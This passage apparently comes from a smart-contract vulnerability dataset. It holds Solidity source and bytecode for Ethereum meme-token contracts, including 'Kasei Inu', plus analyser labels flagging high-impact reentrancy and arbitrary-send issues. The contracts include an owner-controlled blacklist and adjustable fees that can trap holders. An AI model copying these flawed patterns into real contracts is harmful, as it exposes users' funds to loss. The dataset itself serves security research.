uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _feeAddr1, _feeAddr2 ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c9567bf91161006f578063c9567bf9146103a9578063dd62ed3e146103be578063e98391ff14610404578063ec28438a14610424578063f429389014610444578063ffecf5161461045957600080fd5b80638da5cb5b146102d157806395d89b41146102f95780639a590427146103295780639b19251a14610349578063a9059cbb14610369578063bf6642e71461038957600080fd5b806327a14fc21161010857806327a14fc21461022b578063313ce5671461024b57806351bc3c85146102675780635932ead11461027c57806370a082311461029c578063715018a6146102bc57600080fd5b806306fdde0314610150578063095ea7b31461019257806318160ddd146101c257806323b872dd146101e9578063273123b71461020957600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152600781526643756c7442524f60c81b60208201525b6040516101899190611ac3565b60405180910390f35b34801561019e57600080fd5b506101b26101ad366004611a1b565b610479565b6040519015158152602001610189565b3480156101ce57600080fd5b5069152d02c7e14af68000005b604051908152602001610189565b3480156101f557600080fd5b506101b26102043660046119db565b610490565b34801561021557600080fd5b5061022961022436600461196b565b6104f9565b005b34801561023757600080fd5b50610229610246366004611a7e565b61054d565b34801561025757600080fd5b5060405160098152602001610189565b34801561027357600080fd5b5061022961058b565b34801561028857600080fd5b50610229610297366004611a46565b6105a4565b3480156102a857600080fd5b506101db6102b736600461196b565b6105ec565b3480156102c857600080fd5b5061022961060e565b3480156102dd57600080fd5b506000546040516001600160a01b039091168152602001610189565b34801561030557600080fd5b5060408051808201909152600781526643554c5442524f60c81b602082015261017c565b34801561033557600080fd5b5061022961034436600461196b565b610682565b34801561035557600080fd5b5061022961036436600461196b565b6106cd565b34801561037557600080fd5b506101b2610384366004611a1b565b61071b565b34801561039557600080fd5b506102296103a4366004611a7e565b610728565b3480156103b557600080fd5b50610229610757565b3480156103ca57600080fd5b506101db6103d93660046119a3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041057600080fd5b5061022961041f366004611a46565b610b31565b34801561043057600080fd5b5061022961043f366004611a7e565b610b79565b34801561045057600080fd5b50610229610bb7565b34801561046557600080fd5b5061022961047436600461196b565b610bc1565b6000610486338484610c0f565b5060015b92915050565b600061049d848484610d33565b6104ef84336104ea85604051806060016040528060288152602001611c63602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061121a565b610c0f565b5060019392505050565b6000546001600160a01b0316331461052c5760405162461bcd60e51b815260040161052390611b16565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105775760405162461bcd60e51b815260040161052390611b16565b61058581633b9aca00611bf3565b600d5550565b6000610596306105ec565b90506105a181611254565b50565b6000546001600160a01b031633146105ce5760405162461bcd60e51b815260040161052390611b16565b60138054911515600160b81b0260ff60b81b19909216919091179055565b6001600160a01b03811660009081526002602052604081205461048a906113f9565b6000546001600160a01b031633146106385760405162461bcd60e51b815260040161052390611b16565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106ac5760405162461bcd60e51b815260040161052390611b16565b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146106f75760405162461bcd60e51b815260040161052390611b16565b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b6000610486338484610d33565b6000546001600160a01b031633146107525760405162461bcd60e51b815260040161052390611b16565b600c55565b6000546001600160a01b031633146107815760405162461bcd60e51b815260040161052390611b16565b601354600160a01b900460ff16156107db5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610523565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610819308269152d02c7e14af6800000610c0f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085257600080fd5b505afa158015610866573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088a9190611987565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108d257600080fd5b505afa1580156108e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061090a9190611987565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561095257600080fd5b505af1158015610966573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098a9190611987565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d71947306109ba816105ec565b6000806109cf6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3257600080fd5b505af1158015610a46573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a6b9190611a96565b505060138054683635c9adc5dea00000600a55686c6b935b8bbd400000600d5563ffff00ff60a01b198116630101000160a01b1790915543600b5560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610af557600080fd5b505af1158015610b09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2d9190611a62565b5050565b6000546001600160a01b03163314610b5b5760405162461bcd60e51b815260040161052390611b16565b60138054911515600160a81b0260ff60a81b19909216919091179055565b6000546001600160a01b03163314610ba35760405162461bcd60e51b815260040161052390611b16565b610bb181633b9aca00611bf3565b600a5550565b476105a18161147d565b6000546001600160a01b03163314610beb5760405162461bcd60e51b815260040161052390611b16565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610c715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610523565b6001600160a01b038216610cd25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610523565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610523565b6001600160a01b038216610df95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610523565b60008111610e5b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610523565b6001600e55600c600f556000546001600160a01b03848116911614801590610e9157506000546001600160a01b03838116911614155b8015610ea657506001600160a01b0383163014155b8015610ecb57506001600160a01b03831660009081526005602052604090205460ff16155b8015610ef057506001600160a01b03821660009081526005602052604090205460ff16155b156111ff576001600160a01b03831660009081526006602052604090205460ff16158015610f3757506001600160a01b03821660009081526006602052604090205460ff16155b610f4057600080fd5b6013546001600160a01b038481169116148015610f6b57506012546001600160a01b03838116911614155b8015610f9057506001600160a01b03821660009081526005602052604090205460ff16155b8015610fa55750601354600160b81b900460ff165b156110e257600a54811115610ffc5760405162461bcd60e51b815260206004820152601c60248201527f4f766572206d6178207472616e73616374696f6e20616d6f756e742e000000006044820152606401610523565b6001600160a01b03821660009081526007602052604090205442116110585760405162461bcd60e51b815260206004820152601260248201527121b7b7b63237bbb71032b73337b931b2b21760711b6044820152606401610523565b600d5481611065846105ec565b61106f9190611bbb565b11156110bd5760405162461bcd60e51b815260206004820152601760248201527f4f766572206d61782077616c6c657420616d6f756e742e0000000000000000006044820152606401610523565b6110c842601e611bbb565b6001600160a01b0383166000908152600760205260409020555b6013546001600160a01b03838116911614801561110d57506012546001600160a01b03848116911614155b801561113257506001600160a01b03831660009081526005602052604090205460ff16155b15611142576001600e556009600f555b43600b5460056111529190611bbb565b1015801561116d57506013546001600160a01b038481169116145b1561117d576001600e556063600f555b6000611188306105ec565b600c54909150811080159081906111a95750601354600160a81b900460ff16155b80156111c357506013546001600160a01b03868116911614155b80156111d85750601354600160b01b900460ff165b156111f8576111e682611254565b4780156111f6576111f64761147d565b505b505061120a565b6000600e819055600f555b611215838383611502565b505050565b6000818484111561123e5760405162461bcd60e51b81526004016105239190611ac3565b50600061124b8486611c12565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112aa57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156112fe57600080fd5b505afa158015611312573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113369190611987565b8160018151811061135757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260125461137d9130911684610c0f565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b6908590600090869030904290600401611b4b565b600060405180830381600087803b1580156113d057600080fd5b505af11580156113e4573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60006008548211156114605760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610523565b600061146a61150d565b90506114768382611530565b9392505050565b6010546001600160a01b03166108fc611497836002611530565b6040518115909202916000818181858888f193505050501580156114bf573d6000803e3d6000fd5b506011546001600160a01b03166108fc6114da836002611530565b6040518115909202916000818181858888f19350505050158015610b2d573d6000803e3d6000fd5b611215838383611572565b600080600061151a611669565b90925090506115298282611530565b9250505090565b600061147683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ad565b600080600080600080611584876116db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115b69087611738565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115e5908661177a565b6001600160a01b038916600090815260026020526040902055611607816117d9565b6116118483611823565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165691815260200190565b60405180910390a3505050505050505050565b600854600090819069152d02c7e14af68000006116868282611530565b8210156116a45750506008549269152d02c7e14af680000092509050565b90939092509050565b600081836116ce5760405162461bcd60e51b81526004016105239190611ac3565b50600061124b8486611bd3565b60008060008060008060008060006116f88a600e54600f54611847565b925092509250600061170861150d565b9050600080600061171b8e87878761189c565b919e509c509a509598509396509194505050505091939550919395565b600061147683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061121a565b6000806117878385611bbb565b9050838110156114765760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610523565b60006117e361150d565b905060006117f183836118ec565b3060009081526002602052604090205490915061180e908261177a565b30600090815260026020526040902055505050565b6008546118309083611738565b600855600954611840908261177a565b6009555050565b6000808080611861606461185b89896118ec565b90611530565b90506000611874606461185b8a896118ec565b9050600061188c826118868b86611738565b90611738565b9992985090965090945050505050565b60008080806118ab88866118ec565b905060006118b988876118ec565b905060006118c788886118ec565b905060006118d9826118868686611738565b939b939a50919850919650505050505050565b6000826118fb5750600061048a565b60006119078385611bf3565b9050826119148583611bd3565b146114765760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610523565b60006020828403121561197c578081fd5b813561147681611c3f565b600060208284031215611998578081fd5b815161147681611c3f565b600080604083850312156119b5578081fd5b82356119c081611c3f565b915060208301356119d081611c3f565b809150509250929050565b6000806000606084860312156119ef578081fd5b83356119fa81611c3f565b92506020840135611a0a81611c3f565b929592945050506040919091013590565b60008060408385031215611a2d578182fd5b8235611a3881611c3f565b946020939093013593505050565b600060208284031215611a57578081fd5b813561147681611c54565b600060208284031215611a73578081fd5b815161147681611c54565b600060208284031215611a8f578081fd5b5035919050565b600080600060608486031215611aaa578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611aef57858101830151858201604001528201611ad3565b81811115611b005783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b9a5784516001600160a01b031683529383019391830191600101611b75565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611bce57611bce611c29565b500190565b600082611bee57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611c0d57611c0d611c29565b500290565b600082821015611c2457611c24611c29565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146105a157600080fd5b80151581146105a157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ffecdb6c79ef0cba3db148c018499a0867a8a90fd2fed79bb7b32ad3d561363f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,092
0xabbb8418faf34b6166e5f45aba16fe5c16e60607
/* Kasei Inu (KASEI) Website: https://kaseiinu.space Telegram: https://t.me/kaseiInuETH */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract KASEI is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kasei Inu"; string private constant _symbol = "KASEI"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisReward = 2; uint256 private _marsFee = 4; uint256 private _previousredisReward = _redisReward; uint256 private _previousmarsFee = _marsFee; mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _marsAddress; address payable private _marketingAddress; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000000 * 10**9; uint256 public _swapTokensAtAmount = 50000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _marsAddress = addr1; _marketingAddress = addr2; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marsAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisReward == 0 && _marsFee == 0) return; _previousredisReward = _redisReward; _previousmarsFee = _marsFee; _redisReward = 0; _marsFee = 0; } function restoreAllFee() private { _redisReward = _previousredisReward; _marsFee = _previousmarsFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (from == uniswapV2Pair || to == uniswapV2Pair) { require(tradingOpen, "Trading is not enabled yet"); } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marsAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function launchProject() external onlyOwner() { require(!tradingOpen, "trading is already started"); tradingOpen = true; } function manualswap() external { require(_msgSender() == _marsAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marsAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisReward, _marsFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisReward, uint256 marsFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisReward).div(100); uint256 tTeam = tAmount.mul(marsFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRedisRewardPercent(uint256 redisReward) external onlyOwner() { require(redisReward >= 0 && redisReward <= 25, 'redisReward should be in 0 - 25'); _redisReward = redisReward; } function setMarsRewardPercent(uint256 marsFee) external onlyOwner() { require(marsFee >= 0 && marsFee <= 25, 'marsFee should be in 0 - 25'); _marsFee = marsFee; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 newValue) external { require(_msgSender() == _marsAddress || _msgSender() == _marketingAddress || _msgSender() == owner()); _swapTokensAtAmount = newValue; } }
0x60806040526004361061014e5760003560e01c806370a08231116100b657806398a5c3151161006f57806398a5c31514610466578063a9059cbb1461048f578063c3c8cd80146104cc578063c68ece1d146104e3578063d543dbeb146104fa578063dd62ed3e1461052357610155565b806370a0823114610368578063715018a6146103a55780637d1db4a5146103bc578063800f47e6146103e75780638da5cb5b1461041057806395d89b411461043b57610155565b80632fd689e3116101085780632fd689e31461027e578063313ce567146102a95780633353f4d5146102d457806349bd5a5e146102fd5780636b999053146103285780636fc3eaec1461035157610155565b8062b8cf2a1461015a57806306fdde0314610183578063095ea7b3146101ae5780631694505e146101eb57806318160ddd1461021657806323b872dd1461024157610155565b3661015557005b600080fd5b34801561016657600080fd5b50610181600480360381019061017c9190612782565b610560565b005b34801561018f57600080fd5b506101986106b0565b6040516101a59190612b3f565b60405180910390f35b3480156101ba57600080fd5b506101d560048036038101906101d09190612746565b6106ed565b6040516101e29190612b09565b60405180910390f35b3480156101f757600080fd5b5061020061070b565b60405161020d9190612b24565b60405180910390f35b34801561022257600080fd5b5061022b610731565b6040516102389190612d21565b60405180910390f35b34801561024d57600080fd5b50610268600480360381019061026391906126f7565b610742565b6040516102759190612b09565b60405180910390f35b34801561028a57600080fd5b5061029361081b565b6040516102a09190612d21565b60405180910390f35b3480156102b557600080fd5b506102be610821565b6040516102cb9190612d96565b60405180910390f35b3480156102e057600080fd5b506102fb60048036038101906102f691906127c3565b61082a565b005b34801561030957600080fd5b5061031261091a565b60405161031f9190612aee565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612669565b610940565b005b34801561035d57600080fd5b50610366610a30565b005b34801561037457600080fd5b5061038f600480360381019061038a9190612669565b610b01565b60405161039c9190612d21565b60405180910390f35b3480156103b157600080fd5b506103ba610b52565b005b3480156103c857600080fd5b506103d1610ca5565b6040516103de9190612d21565b60405180910390f35b3480156103f357600080fd5b5061040e600480360381019061040991906127c3565b610cab565b005b34801561041c57600080fd5b50610425610d9b565b6040516104329190612aee565b60405180910390f35b34801561044757600080fd5b50610450610dc4565b60405161045d9190612b3f565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906127c3565b610e01565b005b34801561049b57600080fd5b506104b660048036038101906104b19190612746565b610f0f565b6040516104c39190612b09565b60405180910390f35b3480156104d857600080fd5b506104e1610f2d565b005b3480156104ef57600080fd5b506104f8611006565b005b34801561050657600080fd5b50610521600480360381019061051c91906127c3565b611108565b005b34801561052f57600080fd5b5061054a600480360381019061054591906126bb565b611251565b6040516105579190612d21565b60405180910390f35b6105686112d8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ec90612c81565b60405180910390fd5b60005b81518110156106ac576001600c6000848481518110610640577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806106a49061305b565b9150506105f8565b5050565b60606040518060400160405280600981526020017f4b6173656920496e750000000000000000000000000000000000000000000000815250905090565b60006107016106fa6112d8565b84846112e0565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b600061074f8484846114ab565b6108108461075b6112d8565b61080b856040518060600160405280602881526020016134b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107c16112d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119a39092919063ffffffff16565b6112e0565b600190509392505050565b60135481565b60006009905090565b6108326112d8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108bf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040